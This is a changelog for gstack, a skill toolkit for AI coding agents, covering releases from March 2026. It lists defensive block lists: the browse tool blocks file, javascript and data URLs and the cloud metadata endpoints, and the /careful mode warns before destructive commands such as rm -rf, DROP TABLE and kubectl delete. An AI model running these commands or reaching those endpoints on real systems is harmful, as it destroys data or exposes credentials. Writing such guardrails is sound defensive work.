- **Node server build script.** `browse/scripts/build-node-server.sh` transpiles the server for Node.js, stubs `bun:sqlite`, and injects the polyfill. all automated during `bun run build`.

## [0.9.2.0] - 2026-03-20. Gemini CLI E2E Tests

### Added

- **Gemini CLI is now tested end-to-end.** Two E2E tests verify that gstack skills work when invoked by Google's Gemini CLI (`gemini -p`). The `gemini-discover-skill` test confirms skill discovery from `.agents/skills/`, and `gemini-review-findings` runs a full code review via gstack-review. Both parse Gemini's stream-json NDJSON output and track token usage.
- **Gemini JSONL parser with 10 unit tests.** `parseGeminiJSONL` handles all Gemini event types (init, message, tool_use, tool_result, result) with defensive parsing for malformed input. The parser is a pure function, independently testable without spawning the CLI.
- **`bun run test:gemini`** and **`bun run test:gemini:all`** scripts for running Gemini E2E tests independently. Gemini tests are also included in `test:evals` and `test:e2e` aggregate scripts.

## [0.9.1.0] - 2026-03-20. Adversarial Spec Review + Skill Chaining

### Added

- **Your design docs now get stress-tested before you see them.** When you run `/office-hours`, an independent AI reviewer checks your design doc for completeness, consistency, clarity, scope creep, and feasibility. up to 3 rounds. You get a quality score (1-10) and a summary of what was caught and fixed. The doc you approve has already survived adversarial review.
- **Visual wireframes during brainstorming.** For UI ideas, `/office-hours` now generates a rough HTML wireframe using your project's design system (from DESIGN.md) and screenshots it. You see what you're designing while you're still thinking, not after you've coded it.
- **Skills help each other now.** `/plan-ceo-review` and `/plan-eng-review` detect when you'd benefit from running `/office-hours` first and offer it. one-tap to switch, one-tap to decline. If you seem lost during a CEO review, it'll gently suggest brainstorming first.
- **Spec review metrics.** Every adversarial review logs iterations, issues found/fixed, and quality score to `~/.gstack/analytics/spec-review.jsonl`. Over time, you can see if your design docs are getting better.

## [0.9.0.1] - 2026-03-19

### Changed

- **Telemetry opt-in now defaults to community mode.** First-time prompt asks "Help gstack get better!" (community mode with stable device ID for trend tracking). If you decline, you get a second chance with anonymous mode (no unique ID, just a counter). Respects your choice either way.

### Fixed

- **Review logs and telemetry now persist during plan mode.** When you ran `/plan-ceo-review`, `/plan-eng-review`, or `/plan-design-review` in plan mode, the review result wasn't saved to disk. so the dashboard showed stale or missing entries even though you just completed a review. Same issue affected telemetry logging at the end of every skill. Both now work reliably in plan mode.

## [0.9.0] - 2026-03-19. Works on Codex, Gemini CLI, and Cursor

**gstack now works on any AI agent that supports the open SKILL.md standard.** Install once, use from Claude Code, OpenAI Codex CLI, Google Gemini CLI, or Cursor. All 21 skills are available in `.agents/skills/` -- just run `./setup --host codex` or `./setup --host auto` and your agent discovers them automatically.

- **One install, four agents.** Claude Code reads from `.claude/skills/`, everything else reads from `.agents/skills/`. Same skills, same prompts, adapted for each host. Hook-based safety skills (careful, freeze, guard) get inline safety advisory prose instead of hooks -- they work everywhere.
- **Auto-detection.** `./setup --host auto` detects which agents you have installed and sets up both. Already have Claude Code? It still works exactly the same.
- **Codex-adapted output.** Frontmatter is stripped to just name + description (Codex doesn't need allowed-tools or hooks). Paths are rewritten from `~/.claude/` to `~/.codex/`. The `/codex` skill itself is excluded from Codex output -- it's a Claude wrapper around `codex exec`, which would be self-referential.
- **CI checks both hosts.** The freshness check now validates Claude and Codex output independently. Stale Codex docs break the build just like stale Claude docs.

## [0.8.6] - 2026-03-19

### Added

- **You can now see how you use gstack.** Run `gstack-analytics` to see a personal usage dashboard. which skills you use most, how long they take, your success rate. All data stays local on your machine.
- **Opt-in community telemetry.** On first run, gstack asks if you want to share anonymous usage data (skill names, duration, crash info. never code or file paths). Choose "yes" and you're part of the community pulse. Change anytime with `gstack-config set telemetry off`.
- **Community health dashboard.** Run `gstack-community-dashboard` to see what the gstack community is building. most popular skills, crash clusters, version distribution. All powered by Supabase.
- **Install base tracking via update check.** When telemetry is enabled, gstack fires a parallel ping to Supabase during update checks. giving us an install-base count without adding any latency. Respects your telemetry setting (default off). GitHub remains the primary version source.
- **Crash clustering.** Errors are automatically grouped by type and version in the Supabase backend, so the most impactful bugs surface first.
- **Upgrade funnel tracking.** We can now see how many people see upgrade prompts vs actually upgrade. helps us ship better releases.
- **/retro now shows your gstack usage.** Weekly retrospectives include skill usage stats (which skills you used, how often, success rate) alongside your commit history.
- **Session-specific pending markers.** If a skill crashes mid-run, the next invocation correctly finalizes only that session. no more race conditions between concurrent gstack sessions.

## [0.8.5] - 2026-03-19

### Fixed

- **`/retro` now counts full calendar days.** Running a retro late at night no longer silently misses commits from earlier in the day. Git treats bare dates like `--since="2026-03-11"` as "11pm on March 11" if you run it at 11pm. now we pass `--since="2026-03-11T00:00:00"` so it always starts from midnight. Compare mode windows get the same fix.
- **Review log no longer breaks on branch names with `/`.** Branch names like `garrytan/design-system` caused review log writes to fail because Claude Code runs multi-line bash blocks as separate shell invocations, losing variables between commands. New `gstack-review-log` and `gstack-review-read` atomic helpers encapsulate the entire operation in a single command.
- **All skill templates are now platform-agnostic.** Removed Rails-specific patterns (`bin/test-lane`, `RAILS_ENV`, `.includes()`, `rescue StandardError`, etc.) from `/ship`, `/review`, `/plan-ceo-review`, and `/plan-eng-review`. The review checklist now shows examples for Rails, Node, Python, and Django side-by-side.
- **`/ship` reads CLAUDE.md to discover test commands** instead of hardcoding `bin/test-lane` and `npm run test`. If no test commands are found, it asks the user and persists the answer to CLAUDE.md.

### Added

- **Platform-agnostic design principle** codified in CLAUDE.md. skills must read project config, never hardcode framework commands.
- **`## Testing` section** in CLAUDE.md for `/ship` test command discovery.

## [0.8.4] - 2026-03-19

### Added

- **`/ship` now automatically syncs your docs.** After creating the PR, `/ship` runs `/document-release` as Step 8.5. README, ARCHITECTURE, CONTRIBUTING, and CLAUDE.md all stay current without an extra command. No more stale docs after shipping.
- **Six new skills in the docs.** README, docs/skills.md, and BROWSER.md now cover `/codex` (multi-AI second opinion), `/careful` (destructive command warnings), `/freeze` (directory-scoped edit lock), `/guard` (full safety mode), `/unfreeze`, and `/gstack-upgrade`. The sprint skill table keeps its 15 specialists; a new "Power tools" section covers the rest.
- **Browse handoff documented everywhere.** BROWSER.md command table, docs/skills.md deep-dive, and README "What's new" all explain `$B handoff` and `$B resume` for CAPTCHA/MFA/auth walls.
- **Proactive suggestions know about all skills.** Root SKILL.md.tmpl now suggests `/codex`, `/careful`, `/freeze`, `/guard`, `/unfreeze`, and `/gstack-upgrade` at the right workflow stages.

## [0.8.3] - 2026-03-19

### Added

- **Plan reviews now guide you to the next step.** After running `/plan-ceo-review`, `/plan-eng-review`, or `/plan-design-review`, you get a recommendation for what to run next. eng review is always suggested as the required shipping gate, design review is suggested when UI changes are detected, and CEO review is softly mentioned for big product changes. No more remembering the workflow yourself.
- **Reviews know when they're stale.** Each review now records the commit it was run at. The dashboard compares that against your current HEAD and tells you exactly how many commits have elapsed. "eng review may be stale. 13 commits since review" instead of guessing.
- **`skip_eng_review` respected everywhere.** If you've opted out of eng review globally, the chaining recommendations won't nag you about it.
- **Design review lite now tracks commits too.** The lightweight design check that runs inside `/review` and `/ship` gets the same staleness tracking as full reviews.

### Fixed

- **Browse no longer navigates to dangerous URLs.** `goto`, `diff`, and `newtab` now block `file://`, `javascript:`, `data:` schemes and cloud metadata endpoints (`169.254.169.254`, `metadata.google.internal`). Localhost and private IPs are still allowed for local QA testing. (Closes #17)
- **Setup script tells you what's missing.** Running `./setup` without `bun` installed now shows a clear error with install instructions instead of a cryptic "command not found." (Closes #147)
- **`/debug` renamed to `/investigate`.** Claude Code has a built-in `/debug` command that shadowed the gstack skill. The systematic root-cause debugging workflow now lives at `/investigate`. (Closes #190)
- **Shell injection surface reduced.** gstack-slug output is now sanitized to `[a-zA-Z0-9._-]` only, making both `eval` and `source` callers safe. (Closes #133)
- **25 new security tests.** URL validation (16 tests) and path traversal validation (14 tests) now have dedicated unit test suites covering scheme blocking, metadata IP blocking, directory escapes, and prefix collision edge cases.

## [0.8.2] - 2026-03-19

### Added

- **Hand off to a real Chrome when the headless browser gets stuck.** Hit a CAPTCHA, auth wall, or MFA prompt? Run `$B handoff "reason"` and a visible Chrome opens at the exact same page with all your cookies and tabs intact. Solve the problem, tell Claude you're done, and `$B resume` picks up right where you left off with a fresh snapshot.
- **Auto-handoff hint after 3 consecutive failures.** If the browse tool fails 3 times in a row, it suggests using `handoff`. so you don't waste time watching the AI retry a CAPTCHA.
- **15 new tests for the handoff feature.** Unit tests for state save/restore, failure tracking, edge cases, plus integration tests for the full headless-to-headed flow with cookie and tab preservation.

### Changed

- `recreateContext()` refactored to use shared `saveState()`/`restoreState()` helpers. same behavior, less code, ready for future state persistence features.
- `browser.close()` now has a 5-second timeout to prevent hangs when closing headed browsers on macOS.

## [0.8.1] - 2026-03-19

### Fixed

- **`/qa` no longer refuses to use the browser on backend-only changes.** Previously, if your branch only changed prompt templates, config files, or service logic, `/qa` would analyze the diff, conclude "no UI to test," and suggest running evals instead. Now it always opens the browser -- falling back to a Quick mode smoke test (homepage + top 5 navigation targets) when no specific pages are identified from the diff.

## [0.8.0] - 2026-03-19. Multi-AI Second Opinion

**`/codex`. get an independent second opinion from a completely different AI.**

Three modes. `/codex review` runs OpenAI's Codex CLI against your diff and gives a pass/fail gate. if Codex finds critical issues (`[P1]`), it fails. `/codex challenge` goes adversarial: it tries to find ways your code will fail in production, thinking like an attacker and a chaos engineer. `/codex <anything>` opens a conversation with Codex about your codebase, with session continuity so follow-ups remember context.

When both `/review` (Claude) and `/codex review` have run, you get a cross-model analysis showing which findings overlap and which are unique to each AI. building intuition for when to trust which system.

**Integrated everywhere.** After `/review` finishes, it offers a Codex second opinion. During `/ship`, you can run Codex review as an optional gate before pushing. In `/plan-eng-review`, Codex can independently critique your plan before the engineering review begins. All Codex results show up in the Review Readiness Dashboard.

**Also in this release:** Proactive skill suggestions. gstack now notices what stage of development you're in and suggests the right skill. Don't like it? Say "stop suggesting" and it remembers across sessions.

## [0.7.4] - 2026-03-18

### Changed

- **`/qa` and `/design-review` now ask what to do with uncommitted changes** instead of refusing to start. When your working tree is dirty, you get an interactive prompt with three options: commit your changes, stash them, or abort. No more cryptic "ERROR: Working tree is dirty" followed by a wall of text.

## [0.7.3] - 2026-03-18

### Added

- **Safety guardrails you can turn on with one command.** Say "be careful" or "safety mode" and `/careful` will warn you before any destructive command. `rm -rf`, `DROP TABLE`, force-push, `kubectl delete`, and more. You can override every warning. Common build artifact cleanups (`rm -rf node_modules`, `dist`, `.next`) are whitelisted.
- **Lock edits to one folder with `/freeze`.** Debugging something and don't want Claude to "fix" unrelated code? `/freeze` blocks all file edits outside a directory you choose. Hard block, not just a warning. Run `/unfreeze` to remove the restriction without ending your session.
- **`/guard` activates both at once.** One command for maximum safety when touching prod or live systems. destructive command warnings plus directory-scoped edit restrictions.
- **`/debug` now auto-freezes edits to the module being debugged.** After forming a root cause hypothesis, `/debug` locks edits to the narrowest affected directory. No more accidental "fixes" to unrelated code during debugging.
- **You can now see which skills you use and how often.** Every skill invocation is logged locally to `~/.gstack/analytics/skill-usage.jsonl`. Run `bun run analytics` to see your top skills, per-repo breakdown, and how often safety hooks actually catch something. Data stays on your machine.
- **Weekly retros now include skill usage.** `/retro` shows which skills you used during the retro window alongside your usual commit analysis and metrics.

## [0.7.2] - 2026-03-18

### Fixed

- `/retro` date ranges now align to midnight instead of the current time. Running `/retro` at 9pm no longer silently drops the morning of the start date. you get full calendar days.
- `/retro` timestamps now use your local timezone instead of hardcoded Pacific time. Users outside the US-West coast get correct local hours in histograms, session detection, and streak tracking.

## [0.7.1] - 2026-03-19

### Added

- **gstack now suggests skills at natural moments.** You don't need to know slash commands. just talk about what you're doing. Brainstorming an idea? gstack suggests `/office-hours`. Something's broken? It suggests `/debug`. Ready to deploy? It suggests `/ship`. Every workflow skill now has proactive triggers that fire when the moment is right.
- **Lifecycle map.** gstack's root skill description now includes a developer workflow guide mapping 12 stages (brainstorm → plan → review → code → debug → test → ship → docs → retro) to the right skill. Claude sees this in every session.
- **Opt-out with natural language.** If proactive suggestions feel too aggressive, just say "stop suggesting things". gstack remembers across sessions. Say "be proactive again" to re-enable.
- **11 journey-stage E2E tests.** Each test simulates a real moment in the developer lifecycle with realistic project context (plan.md, error logs, git history, code) and verifies the right skill fires from natural language alone. 11/11 pass.
- **Trigger phrase validation.** Static tests verify every workflow skill has "Use when" and "Proactively suggest" phrases. catches regressions for free.

### Fixed

- `/debug` and `/office-hours` were completely invisible to natural language. no trigger phrases at all. Now both have full reactive + proactive triggers.

## [0.7.0] - 2026-03-18. YC Office Hours

**`/office-hours`. sit down with a YC partner before you write a line of code.**

Two modes. If you're building a startup, you get six forcing questions distilled from how YC evaluates products: demand reality, status quo, desperate specificity, narrowest wedge, observation & surprise, and future-fit. If you're hacking on a side project, learning to code, or at a hackathon, you get an enthusiastic brainstorming partner who helps you find the coolest version of your idea.

Both modes write a design doc that feeds directly into `/plan-ceo-review` and `/plan-eng-review`. After the session, the skill reflects back what it noticed about how you think. specific observations, not generic praise.

**`/debug`. find the root cause, not the symptom.**

When something is broken and you don't know why, `/debug` is your systematic debugger. It follows the Iron Law: no fixes without root cause investigation first. Traces data flow, matches against known bug patterns (race conditions, nil propagation, stale cache, config drift), and tests hypotheses one at a time. If 3 fixes fail, it stops and questions the architecture instead of thrashing.

## [0.6.4.1] - 2026-03-18

### Added

- **Skills now discoverable via natural language.** All 12 skills that were missing explicit trigger phrases now have them. say "deploy this" and Claude finds `/ship`, say "check my diff" and it finds `/review`. Following Anthropic's best practice: "the description field is not a summary. it's when to trigger."

## [0.6.4.0] - 2026-03-17

### Added

- **`/plan-design-review` is now interactive. rates 0-10, fixes the plan.** Instead of producing a report with letter grades, the designer now works like CEO and Eng review: rates each design dimension 0-10, explains what a 10 looks like, then edits the plan to get there. One AskUserQuestion per design choice. The output is a better plan, not a document about the plan.
- **CEO review now calls in the designer.** When `/plan-ceo-review` detects UI scope in a plan, it activates a Design & UX section (Section 11) covering information architecture, interaction state coverage, AI slop risk, and responsive intention. For deep design work, it recommends `/plan-design-review`.
- **14 of 15 skills now have full test coverage (E2E + LLM-judge + validation).** Added LLM-judge quality evals for 10 skills that were missing them: ship, retro, qa-only, plan-ceo-review, plan-eng-review, plan-design-review, design-review, design-consultation, document-release, gstack-upgrade. Added real E2E test for gstack-upgrade (was a `.todo`). Added design-consultation to command validation.
- **Bisect commit style.** CLAUDE.md now requires every commit to be a single logical change. renames separate from rewrites, test infrastructure separate from test implementations.

### Changed

- `/qa-design-review` renamed to `/design-review`. the "qa-" prefix was confusing now that `/plan-design-review` is plan-mode. Updated across all 22 files.

## [0.6.3.0] - 2026-03-17

### Added

- **Every PR touching frontend code now gets a design review automatically.** `/review` and `/ship` apply a 20-item design checklist against changed CSS, HTML, JSX, and view files. Catches AI slop patterns (purple gradients, 3-column icon grids, generic hero copy), typography issues (body text < 16px, blacklisted fonts), accessibility gaps (`outline: none`), and `!important` abuse. Mechanical CSS fixes are auto-applied; design judgment calls ask you first.
- **`gstack-diff-scope` categorizes what changed in your branch.** Run `source <(gstack-diff-scope main)` and get `SCOPE_FRONTEND=true/false`, `SCOPE_BACKEND`, `SCOPE_PROMPTS`, `SCOPE_TESTS`, `SCOPE_DOCS`, `SCOPE_CONFIG`. Design review uses it to skip silently on backend-only PRs. Ship pre-flight uses it to recommend design review when frontend files are touched.
- **Design review shows up in the Review Readiness Dashboard.** The dashboard now distinguishes between "LITE" (code-level, runs automatically in /review and /ship) and "FULL" (visual audit via /plan-design-review with browse binary). Both show up as Design Review entries.
- **E2E eval for design review detection.** Planted CSS/HTML fixtures with 7 known anti-patterns (Papyrus font, 14px body text, `outline: none`, `!important`, purple gradient, generic hero copy, 3-column feature grid). The eval verifies `/review` catches at least 4 of 7.

## [0.6.2.0] - 2026-03-17

### Added

- **Plan reviews now think like the best in the world.** `/plan-ceo-review` applies 14 cognitive patterns from Bezos (one-way doors, Day 1 proxy skepticism), Grove (paranoid scanning), Munger (inversion), Horowitz (wartime awareness), Chesky/Graham (founder mode), and Altman (leverage obsession). `/plan-eng-review` applies 15 patterns from Larson (team state diagnosis), McKinley (boring by default), Brooks (essential vs accidental complexity), Beck (make the change easy), Majors (own your code in production), and Google SRE (error budgets). `/plan-design-review` applies 12 patterns from Rams (subtraction default), Norman (time-horizon design), Zhuo (principled taste), Gebbia (design for trust, storyboard the journey), and Ive (care is visible).
- **Latent space activation, not checklists.** The cognitive patterns name-drop frameworks and people so the LLM draws on its deep knowledge of how they actually think. The instruction is "internalize these, don't enumerate them". making each review a genuine perspective shift, not a longer checklist.

## [0.6.1.0] - 2026-03-17

### Added

- **E2E and LLM-judge tests now only run what you changed.** Each test declares which source files it depends on. When you run `bun run test:e2e`, it checks your diff and skips tests whose dependencies weren't touched. A branch that only changes `/retro` now runs 2 tests instead of 31. Use `bun run test:e2e:all` to force everything.
- **`bun run eval:select` previews which tests would run.** See exactly which tests your diff triggers before spending API credits. Supports `--json` for scripting and `--base <branch>` to override the base branch.
- **Completeness guardrail catches forgotten test entries.** A free unit test validates that every `testName` in the E2E and LLM-judge test files has a corresponding entry in the TOUCHFILES map. New tests without entries fail `bun test` immediately. no silent always-run degradation.

### Changed

- `test:evals` and `test:e2e` now auto-select based on diff (was: all-or-nothing)
- New `test:evals:all` and `test:e2e:all` scripts for explicit full runs

## 0.6.1. 2026-03-17. Boil the Lake

Every gstack skill now follows the **Completeness Principle**: always recommend the
full implementation when AI makes the marginal cost near-zero. No more "Choose B
because it's 90% of the value" when option A is 70 lines more code.

Read the philosophy: https://garryslist.org/posts/boil-the-ocean

- **Completeness scoring**: every AskUserQuestion option now shows a completeness
  score (1-10), biasing toward the complete solution
- **Dual time estimates**: effort estimates show both human-team and CC+gstack time
  (e.g., "human: ~2 weeks / CC: ~1 hour") with a task-type compression reference table
- **Anti-pattern examples**: concrete "don't do this" gallery in the preamble so the
  principle isn't abstract
- **First-time onboarding**: new users see a one-time introduction linking to the
  essay, with option to open in browser
- **Review completeness gaps**: `/review` now flags shortcut implementations where the
  complete version costs <30 min CC time
- **Lake Score**: CEO and Eng review completion summaries show how many recommendations
  chose the complete option vs shortcuts
- **CEO + Eng review dual-time**: temporal interrogation, effort estimates, and delight
  opportunities all show both human and CC time scales

## 0.6.0.1. 2026-03-17

- **`/gstack-upgrade` now catches stale vendored copies automatically.** If your global gstack is up to date but the vendored copy in your project is behind, `/gstack-upgrade` detects the mismatch and syncs it. No more manually asking "did we vendor it?". it just tells you and offers to update.
- **Upgrade sync is safer.** If `./setup` fails while syncing a vendored copy, gstack restores the previous version from backup instead of leaving a broken install.

### For contributors

- Standalone usage section in `gstack-upgrade/SKILL.md.tmpl` now references Steps 2 and 4.5 (DRY) instead of duplicating detection/sync bash blocks. Added one new version-comparison bash block.
- Update check fallback in standalone mode now matches the preamble pattern (global path → local path → `|| true`).

## 0.6.0. 2026-03-17

- **100% test coverage is the key to great vibe coding.** gstack now bootstraps test frameworks from scratch when your project doesn't have one. Detects your runtime, researches the best framework, asks you to pick, installs it, writes 3-5 real tests for your actual code, sets up CI/CD (GitHub Actions), creates TESTING.md, and adds test culture instructions to CLAUDE.md. Every Claude Code session after that writes tests naturally.
- **Every bug fix now gets a regression test.** When `/qa` fixes a bug and verifies it, Phase 8e.5 automatically generates a regression test that catches the exact scenario that broke. Tests include full attribution tracing back to the QA report. Auto-incrementing filenames prevent collisions across sessions.
- **Ship with confidence. coverage audit shows what's tested and what's not.** `/ship` Step 3.4 builds a code path map from your diff, searches for corresponding tests, and produces an ASCII coverage diagram with quality stars (★★★ = edge cases + errors, ★★ = happy path, ★ = smoke test). Gaps get tests auto-generated. PR body shows "Tests: 42 → 47 (+5 new)".
- **Your retro tracks test health.** `/retro` now shows total test files, tests added this period, regression test commits, and trend deltas. If test ratio drops below 20%, it flags it as a growth area.
- **Design reviews generate regression tests too.** `/qa-design-review` Phase 8e.5 skips CSS-only fixes (those are caught by re-running the design audit) but writes tests for JavaScript behavior changes like broken dropdowns or animation failures.

### For contributors

- Added `generateTestBootstrap()` resolver to `gen-skill-docs.ts` (~155 lines). Registered as `{{TEST_BOOTSTRAP}}` in the RESOLVERS map. Inserted into qa, ship (Step 2.5), and qa-design-review templates.
- Phase 8e.5 regression test generation added to `qa/SKILL.md.tmpl` (46 lines) and CSS-aware variant to `qa-design-review/SKILL.md.tmpl` (12 lines). Rule 13 amended to allow creating new test files.
- Step 3.4 test coverage audit added to `ship/SKILL.md.tmpl` (88 lines) with quality scoring rubric and ASCII diagram format.
- Test health tracking added to `retro/SKILL.md.tmpl`: 3 new data gathering commands, metrics row, narrative section, JSON schema field.
- `qa-only/SKILL.md.tmpl` gets recommendation note when no test framework detected.
- `qa-report-template.md` gains Regression Tests section with deferred test specs.
- ARCHITECTURE.md placeholder table updated with `{{TEST_BOOTSTRAP}}` and `{{REVIEW_DASHBOARD}}`.
- WebSearch added to allowed-tools for qa, ship, qa-design-review.
- 26 new validation tests, 2 new E2E evals (bootstrap + coverage audit).
- 2 new P3 TODOs: CI/CD for non-GitHub providers, auto-upgrade weak tests.

## 0.5.4. 2026-03-17

- **Engineering review is always the full review now.** `/plan-eng-review` no longer asks you to choose between "big change" and "small change" modes. Every plan gets the full interactive walkthrough (architecture, code quality, tests, performance). Scope reduction is only suggested when the complexity check actually triggers. not as a standing menu option.
- **Ship stops asking about reviews once you've answered.** When `/ship` asks about missing reviews and you say "ship anyway" or "not relevant," that decision is saved for the branch. No more getting re-asked every time you re-run `/ship` after a pre-landing fix.

### For contributors

- Removed SMALL_CHANGE / BIG_CHANGE / SCOPE_REDUCTION menu from `plan-eng-review/SKILL.md.tmpl`. Scope reduction is now proactive (triggered by complexity check) rather than a menu item.
- Added review gate override persistence to `ship/SKILL.md.tmpl`. writes `ship-review-override` entries to `$BRANCH-reviews.jsonl` so subsequent `/ship` runs skip the gate.
- Updated 2 E2E test prompts to match new flow.

## 0.5.3. 2026-03-17

- **You're always in control. even when dreaming big.** `/plan-ceo-review` now presents every scope expansion as an individual decision you opt into. EXPANSION mode recommends enthusiastically, but you say yes or no to each idea. No more "the agent went wild and added 5 features I didn't ask for."
- **New mode: SELECTIVE EXPANSION.** Hold your current scope as the baseline, but see what else is possible. The agent surfaces expansion opportunities one by one with neutral recommendations. you cherry-pick the ones worth doing. Perfect for iterating on existing features where you want rigor but also want to be tempted by adjacent improvements.
- **Your CEO review visions are saved, not lost.** Expansion ideas, cherry-pick decisions, and 10x visions are now persisted to `~/.gstack/projects/{repo}/ceo-plans/` as structured design documents. Stale plans get archived automatically. If a vision is exceptional, you can promote it to `docs/designs/` in your repo for the team.

- **Smarter ship gates.** `/ship` no longer nags you about CEO and Design reviews when they're not relevant. Eng Review is the only required gate (and you can disable even that with `gstack-config set skip_eng_review true`). CEO Review is recommended for big product changes; Design Review for UI work. The dashboard still shows all three. it just won't block you for the optional ones.

### For contributors

- Added SELECTIVE EXPANSION mode to `plan-ceo-review/SKILL.md.tmpl` with cherry-pick ceremony, neutral recommendation posture, and HOLD SCOPE baseline.
- Rewrote EXPANSION mode's Step 0D to include opt-in ceremony. distill vision into discrete proposals, present each as AskUserQuestion.
- Added CEO plan persistence (0D-POST step): structured markdown with YAML frontmatter (`status: ACTIVE/ARCHIVED/PROMOTED`), scope decisions table, archival flow.
- Added `docs/designs` promotion step after Review Log.
- Mode Quick Reference table expanded to 4 columns.
- Review Readiness Dashboard: Eng Review required (overridable via `skip_eng_review` config), CEO/Design optional with agent judgment.
- New tests: CEO review mode validation (4 modes, persistence, promotion), SELECTIVE EXPANSION E2E test.

## 0.5.2. 2026-03-17

- **Your design consultant now takes creative risks.** `/design-consultation` doesn't just propose a safe, coherent system. it explicitly breaks down SAFE CHOICES (category baseline) vs. RISKS (where your product stands out). You pick which rules to break. Every risk comes with a rationale for why it works and what it costs.
- **See the landscape before you choose.** When you opt into research, the agent browses real sites in your space with screenshots and accessibility tree analysis. not just web search results. You see what's out there before making design decisions.
- **Preview pages that look like your product.** The preview page now renders realistic product mockups. dashboards with sidebar nav and data tables, marketing pages with hero sections, settings pages with forms. not just font swatches and color palettes.

## 0.5.1. 2026-03-17
- **Know where you stand before you ship.** Every `/plan-ceo-review`, `/plan-eng-review`, and `/plan-design-review` now logs its result to a review tracker. At the end of each review, you see a **Review Readiness Dashboard** showing which reviews are done, when they ran, and whether they're clean. with a clear CLEARED TO SHIP or NOT READY verdict.
- **`/ship` checks your reviews before creating the PR.** Pre-flight now reads the dashboard and asks if you want to continue when reviews are missing. Informational only. it won't block you, but you'll know what you skipped.
- **One less thing to copy-paste.** The SLUG computation (that opaque sed pipeline for computing `owner-repo` from git remote) is now a shared `bin/gstack-slug` helper. All 14 inline copies across templates replaced with `source <(gstack-slug)`. If the format ever changes, fix it once.
- **Screenshots are now visible during QA and browse sessions.** When gstack takes screenshots, they now show up as clickable image elements in your output. no more invisible `/tmp/browse-screenshot.png` paths you can't see. Works in `/qa`, `/qa-only`, `/plan-design-review`, `/qa-design-review`, `/browse`, and `/gstack`.

### For contributors

- Added `{{REVIEW_DASHBOARD}}` resolver to `gen-skill-docs.ts`. shared dashboard reader injected into 4 templates (3 review skills + ship).
- Added `bin/gstack-slug` helper (5-line bash) with unit tests. Outputs `SLUG=` and `BRANCH=` lines, sanitizes `/` to `-`.
- New TODOs: smart review relevance detection (P3), `/merge` skill for review-gated PR merge (P2).

## 0.5.0. 2026-03-16

- **Your site just got a design review.** `/plan-design-review` opens your site and reviews it like a senior product designer. typography, spacing, hierarchy, color, responsive, interactions, and AI slop detection. Get letter grades (A-F) per category, a dual headline "Design Score" + "AI Slop Score", and a structured first impression that doesn't pull punches.
- **It can fix what it finds, too.** `/qa-design-review` runs the same designer's eye audit, then iteratively fixes design issues in your source code with atomic `style(design):` commits and before/after screenshots. CSS-safe by default, with a stricter self-regulation heuristic tuned for styling changes.
- **Know your actual design system.** Both skills extract your live site's fonts, colors, heading scale, and spacing patterns via JS. then offer to save the inferred system as a `DESIGN.md` baseline. Finally know how many fonts you're actually using.
- **AI Slop detection is a headline metric.** Every report opens with two scores: Design Score and AI Slop Score. The AI slop checklist catches the 10 most recognizable AI-generated patterns. the 3-column feature grid, purple gradients, decorative blobs, emoji bullets, generic hero copy.
- **Design regression tracking.** Reports write a `design-baseline.json`. Next run auto-compares: per-category grade deltas, new findings, resolved findings. Watch your design score improve over time.
- **80-item design audit checklist** across 10 categories: visual hierarchy, typography, color/contrast, spacing/layout, interaction states, responsive, motion, content/microcopy, AI slop, and performance-as-design. Distilled from Vercel's 100+ rules, Anthropic's frontend design skill, and 6 other design frameworks.

### For contributors

- Added `{{DESIGN_METHODOLOGY}}` resolver to `gen-skill-docs.ts`. shared design audit methodology injected into both `/plan-design-review` and `/qa-design-review` templates, following the `{{QA_METHODOLOGY}}` pattern.
- Added `~/.gstack-dev/plans/` as a local plans directory for long-range vision docs (not checked in). CLAUDE.md and TODOS.md updated.
- Added `/setup-design-md` to TODOS.md (P2) for interactive DESIGN.md creation from scratch.

## 0.4.5. 2026-03-16

- **Review findings now actually get fixed, not just listed.** `/review` and `/ship` used to print informational findings (dead code, test gaps, N+1 queries) and then ignore them. Now every finding gets action: obvious mechanical fixes are applied automatically, and genuinely ambiguous issues are batched into a single question instead of 8 separate prompts. You see `[AUTO-FIXED] file:line Problem → what was done` for each auto-fix.
- **You control the line between "just fix it" and "ask me first."** Dead code, stale comments, N+1 queries get auto-fixed. Security issues, race conditions, design decisions get surfaced for your call. The classification lives in one place (`review/checklist.md`) so both `/review` and `/ship` stay in sync.

### Fixed

- **`$B js "const x = await fetch(...); return x.status"` now works.** The `js` command used to wrap everything as an expression. so `const`, semicolons, and multi-line code all broke. It now detects statements and uses a block wrapper, just like `eval` already did.
- **Clicking a dropdown option no longer hangs forever.** If an agent sees `@e3 [option] "Admin"` in a snapshot and runs `click @e3`, gstack now auto-selects that option instead of hanging on an impossible Playwright click. The right thing just happens.
- **When click is the wrong tool, gstack tells you.** Clicking an `<option>` via CSS selector used to time out with a cryptic Playwright error. Now you get: `"Use 'browse select' instead of 'click' for dropdown options."`

### For contributors

- Gate Classification → Severity Classification rename (severity determines presentation order, not whether you see a prompt).
- Fix-First Heuristic section added to `review/checklist.md`. the canonical AUTO-FIX vs ASK classification.
- New validation test: `Fix-First Heuristic exists in checklist and is referenced by review + ship`.
- Extracted `needsBlockWrapper()` and `wrapForEvaluate()` helpers in `read-commands.ts`. shared by both `js` and `eval` commands (DRY).
- Added `getRefRole()` to `BrowserManager`. exposes ARIA role for ref selectors without changing `resolveRef` return type.
- Click handler auto-routes `[role=option]` refs to `selectOption()` via parent `<select>`, with DOM `tagName` check to avoid blocking custom listbox components.
- 6 new tests: multi-line js, semicolons, statement keywords, simple expressions, option auto-routing, CSS option error guidance.

## 0.4.4. 2026-03-16

- **New releases detected in under an hour, not half a day.** The update check cache was set to 12 hours, which meant you could be stuck on an old version all day while new releases dropped. Now "you're up to date" expires after 60 minutes, so you'll see upgrades within the hour. "Upgrade available" still nags for 12 hours (that's the point).
- **`/gstack-upgrade` always checks for real.** Running `/gstack-upgrade` directly now bypasses the cache and does a fresh check against GitHub. No more "you're already on the latest" when you're not.

### For contributors

- Split `last-update-check` cache TTL: 60 min for `UP_TO_DATE`, 720 min for `UPGRADE_AVAILABLE`.
- Added `--force` flag to `bin/gstack-update-check` (deletes cache file before checking).
- 3 new tests: `--force` busts UP_TO_DATE cache, `--force` busts UPGRADE_AVAILABLE cache, 60-min TTL boundary test with `utimesSync`.

## 0.4.3. 2026-03-16

- **New `/document-release` skill.** Run it after `/ship` but before merging. it reads every doc file in your project, cross-references the diff, and updates README, ARCHITECTURE, CONTRIBUTING, CHANGELOG, and TODOS to match what you actually shipped. Risky changes get surfaced as questions; everything else is automatic.
